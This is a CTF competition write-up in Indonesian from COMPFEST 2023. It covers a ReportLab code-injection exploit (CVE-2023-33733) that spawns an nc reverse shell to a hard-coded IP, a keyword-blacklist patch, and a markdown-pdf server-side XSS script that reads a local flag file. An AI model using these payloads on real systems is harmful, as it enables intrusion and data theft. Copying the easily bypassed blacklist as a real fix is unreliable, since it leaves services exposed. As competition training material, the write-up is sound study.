WRITE-UP CTF COMPFEST 2023 FINAL

08 Oct 2023

bocah kemarin sore

(*IPB University*)

» patsac «
» arai «
» jedi «

Daftar Isi

Converter

PoC singkat:

1. Berhubung ketika merubah html to pdf menggunakan library yang jarang digunakan
2. Kami menduga ada nya bug disana
3. Kami menyadari ada nya bug pada reportlab dan kebetulan ternyata ada public CVE nya
4. https://github.com/c53elyas/CVE-2023-33733/blob/master/code-injection-poc/poc.py
5. Berhubung seperti nya blind jadi kami melakukan modifikasi singkat pada exploit kami, Berikut exploit kami:

```
<para>
    <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('rm
/tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 103.167.132.117 4444 >/tmp/f') for
Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self,
x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and
str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated -
1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in
[type(type(1))] ] and 'red'">
    </font>
    </para>
```

Patching

Berikut merupakan hasil pacthing kami dengan melakukan penambahan filter blacklist pada string user_input yang masuk:

```
def convert(request):

    if request.method == 'POST':
        user_input = request.POST.get('user_input', '')
        blacklist = ['os', 'system', 'font', 'para', 'config', 'class', 'mro',
'import', 'builtins', 'popen', 'system', 'eval', 'exec', 'url_for', 'request',
'getattr', '__globals__', 'sh']
        for bad_words in blacklist:
            if bad_words in user_input:
                return HttpResponseBadRequest("Bad Request: Your input contains
prohibited words.")
            else:
                pass
        try:
            buffer = BytesIO()
```

```
            docs = SimpleDocTemplate(buffer)
            docs.build([Paragraph(user_input)])

            buffer.seek(0)

            response = FileResponse(buffer, content_type='application/pdf')
            response['Content-Disposition'] = 'attachment; filename=converted.pdf'
            return response
        except:
            pass

    return redirect("/")
```

writeup-editor

PoC singkat:

1. Setelah menganalisis web nya saya berfikir web ini memiliki possibility untuk server side xss untuk mengecek arbitrary read.
2. Dan ternyata benar saja ada penggunaan `const markdownpdf = require("markdown-pdf")`
3. Dimana markdown-pdf ini vulnerable, hal ini sebenarnya bisa dilakukan juga dengan npm audit tapi kami tidak melakukannya karena docker nya gabisa jalan
4. Kami lumayan lama untuk bypass flag.txt nya berhubung ada blacklist pada string tersebut ternyata tinggal di concate aja.
5. Berikut poc kami

```
<script>
        document.write(window.location);
        xhr = new XMLHttpRequest;
        xhr.onload=function(){document.write((this.responseText))};
        xhr.open("GET","file:///flag/flag"+".txt");
        xhr.send();
    </script>
```

Patching:

1. Untuk patching nya karena baru dapet akhir-akhir tentu saja kami belum melakukannya.
2. Untuk melakukan hal tersebut sebenarnya mudah karena hanya perlu menambahkan filter pada beberapa malicious code nya atau bisa juga dilakukan dengan mengubah seluruh input malicious yang masuk menjadi string biasa.